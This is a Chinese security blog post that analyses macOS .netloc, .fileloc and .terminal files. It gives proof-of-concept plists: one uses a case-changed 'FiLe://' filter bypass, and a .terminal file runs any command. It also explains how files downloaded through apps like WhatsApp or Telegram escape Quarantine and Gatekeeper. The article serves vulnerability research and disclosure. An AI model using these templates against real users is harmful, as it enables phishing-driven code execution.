作者: evilpan
原文鏈接:https://mp.weixin.qq.com/s/xqoylh0j0Ny_FL4PlkwH-Q
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
前言
前兩天看 HackerNews 的時候發現一條新聞:

而這個漏洞的出處更加勁爆,原標題直接就是: SSD Advisory – macOS Finder RCE。嚇得我趕緊點進去看看,發現漏洞原因竟然很簡單: 在 macOS 中,點擊 .netloc 后綴的文件可以執行指定命令。
netloc
netloc 文件本身是一個快捷方式文件,從瀏覽器中點擊網址拖拽到桌面或者 Finder 文件夾中就可以自動生成這么一個文件,通常文件內容是:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>https://evilpan.com/</string>
</dict>
</plist>
點擊該文件后會直接使用默認瀏覽器打開 URL 指定的網址。而上文中的 PoC,則是將網址改為file://地址,比如:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>FiLe:///System/Applications/Calculator.app</string>
</dict>
</plist>
這樣點擊該 .netloc 文件就會打開計算器。蘋果對于 netloc 的 URL 過濾了 file:// 協議,但是僅對字符串進行了過濾,因此上面將 file 改成 FiLe 就可以簡單繞過了。
另一個 ”RCE“
如果這個也叫做 RCE,那我也來分享一個 RCE,將下面的文件保存成 poc.fileloc:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
</dict>
</plist>
甚至都不需要大小寫繞過 file 的協議,直接雙擊打開:

當然,效果和上面的“漏洞”一樣,只能打開任意本地程序,不能指定參數,所以從實際上來說,并沒有什么卵用。除了 .fileloc 后綴,.url 后綴也有同樣效果。
Quarantine
那么,為什么這么一個 Feature,會被上面的安全研究員說成是 RCE 呢?個人猜測除了 PR/KPI 的壓力,還有一個重要原因是在 MacOS 中下載的可執行文件通常有更加嚴格的安全校驗,即 Gatekeeper/Quarantine。
如果可執行文件包含com.apple.quarantine屬性,那么在運行前會進行一系列檢查:
- Gatekeeper 校驗目標的簽名 (codesign)
- Gatekeeper notarization check
- Gatekeeper 惡意代碼掃描
- Quarantine 提示用戶該應用通過互聯網下載,是否要執行
看到前面的 RCE,有人應該就問了,何必要這種奇怪的后綴,直接保存成可執行文件不是更方便?可惜,這種常見的可執行文件 (.app,machO 等) 在下載后都會被加上 Quarantine 屬性,用戶點擊會彈出二次確認警告,因此實用價值就大打折扣了。
雖然可執行文件不能點擊運行,腳本應該可以吧?可惜實際上點擊 .sh/.bash/.applescript 等文件默認是用 XCode 打開的。不過,還有一個特殊的文件格式可以直接點擊運行,而且不需要加chmod +x權限,它就是 .terminal 文件。
一個簡單的 PoC 示例如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>echo "Hello"</string>
<key>ProfileCurrentVersion</key>
<string>2.06000000001</string>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>poc</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
直接保存成 poc.terminal ,點擊即可運行任意命令,而且不止可以彈計算器,還可以控制任意執行命令的參數。當然,蘋果也有意識到這個問題,所以從瀏覽器下載的 .terminal 文件也是會被加上 Quarantine 屬性的。
但是相比于.app等可執行文件,.terminal 文件有一個獨特的優勢: 因為該文件是 plist 格式,因此沒有 codesign 簽名檢查,所以一旦我們可以繞過 Quarantine 檢查,就可以實現真正的 RCE。
真 · macOS RCE
網上下載的可執行文件會被加上 Quarantine 屬性,這句話中我們可以提出一個問題: 這個屬性是誰加的?答案很簡單: 瀏覽器。也很容易驗證,因為在命令行中使用 wget/curl 下載的可執行文件是沒有 Quarantine 屬性的。
既然如此,我們可以再提一個問題,如果是在 APP 中下載呢?比如 Telegram、WhatsApp、PC 微信、QQ、釘釘等等。所以一個新的攻擊面呼之欲出: 我們可以對于一些可以從 APP 內下載并打開文件的行為中構造一個 RCE,比如以 WhatsApp 為例(已經修復):

大部分桌面應用的開發者都不會注意這種安全特性,因此很容易在需要的目標中構造這種釣魚場景。對于一些帶有自動下載文件功能的 APP(比如 Telegram),甚至可以做到一鍵 RCE。
當然,Telegram 也已經修復了該漏洞 :)
總結
本文介紹了最近討論比較多的一個 RCE,并介紹了一個類似的 macOS RCE(fileloc 后綴執行文件),這其實是個陳年老問題了,編號為 CVE-2009-2811,蘋果一直也懶得修,畢竟只能彈計算器裝逼,執行不了什么有意義的代碼,所以我更愿意稱之為 Feature。在此基礎上介紹一種在桌面應用中使用 .terminal 后綴繞過 Quarantine 和 Gatekeeper 實現真正 RCE 的例子。
希望各國安全研究員還是要多珍惜自己的羽毛,少在安全會議上灌水和發布些虛假的 RCE 預警吧。Peace。
參考資料
Quarantine nights - Exploring File Quarantine handling in macOS Apps / @Metnёw
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1724/
暫無評論